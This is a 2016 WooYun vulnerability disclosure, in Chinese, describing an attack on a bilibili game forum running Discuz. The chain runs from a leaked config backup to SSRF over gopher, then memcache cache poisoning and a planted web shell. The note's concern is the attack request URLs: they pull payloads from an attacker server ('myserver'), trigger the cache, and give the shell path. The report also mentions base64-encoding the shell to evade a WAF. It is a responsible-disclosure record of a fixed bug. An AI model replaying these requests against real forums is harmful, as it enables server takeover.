漏洞概要
关注数(24)
关注此漏洞
漏洞标题:bilibili某分站从信息泄露到ssrf再到命令执行
提交时间:2016-05-30 08:38
修复时间:2016-06-27 18:00
公开时间:2016-06-27 18:00
漏洞类型:命令执行
危害等级:高
自评Rank:20
漏洞状态:厂商已经修复
Tags标签:
无
漏洞详情
披露状态:
2016-05-30: 细节已通知厂商并且等待厂商处理中
2016-05-30: 厂商已经确认,细节仅向厂商公开
2016-06-09: 细节向核心白帽子及相关领域专家公开
2016-06-19: 细节向普通白帽子公开
2016-06-27: 厂商已经修复漏洞并主动公开,细节向公众公开
简要描述:
bilibili某分站从信息泄露到ssrf再到命令执行,
今天来说说一个关于discuz的神洞,有必要的话稍后再提交给官方。
详细说明:
这个只是memcache的案例,如果是redis更好利用了
0x00 前言
扫描器时常会扫描到一些信息泄露,如discuz的配置文件 /config/config_global.php~
里面时常带有数据库密码等,但又苦于内网,十分尴尬。
0x01 个例分析
以bilibili这个为例
http://bbs.biligame.com/config/config_global.php~
注意到使用了 memcache
如果有留意到 vBulletin rce http://drops.wooyun.org/papers/8261,
相信都被这个漏洞的巧妙之处所吸引。
那么,这discuz是否也存在同样的漏洞呢?
于是查找调用缓存的地方
\source\function\function_core.php
真发现有一处。
这里的$_G['setting']['output']['preg']['search'] 和 $_G['setting']['output']['preg']['replace']是直接调用缓存中的数据。
并且,discuz的ssrf是存在多处的,并且官方估计也很难去修复。
WooYun: Discuz!另一处SSRF无须登陆无须条件
于是测试,居然发现服务器支持gohper 协议呀。
下面说说利用过程吧。discuz的漏洞详细分析有必要的话稍后再提交给官方。
漏洞证明:
0x02 漏洞利用
测试利用转发代码
测试返回如下图
万事俱备了,行动
先准备好两个页面,便于写完shell后还原。
wshell.php
cls.php
请求
http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/wshell.php?logo.jpg[/img]
完成后,立即请求shell地址
http://bbs.biligame.com/forum.php?mod=ajax&inajax=yes&action=getthreadtypes
从上面可知,这是一句话,由于要绕过waf,所以base64一下。
写入文件shell
http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/cls.php?logo.jpg[/img]
还原缓存
最后一句话地址为:
http://bbs.biligame.com/data/cache/hello.php
修复方案:
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2016-05-30 09:22
厂商回复:
为什么被怼了我还这么愉♂悦(゚Д゚≡゚д゚)!?~因为是爱豆怼的吗?
最新状态:
2016-05-30:这是0day~这是0day~
2016-06-27:fixed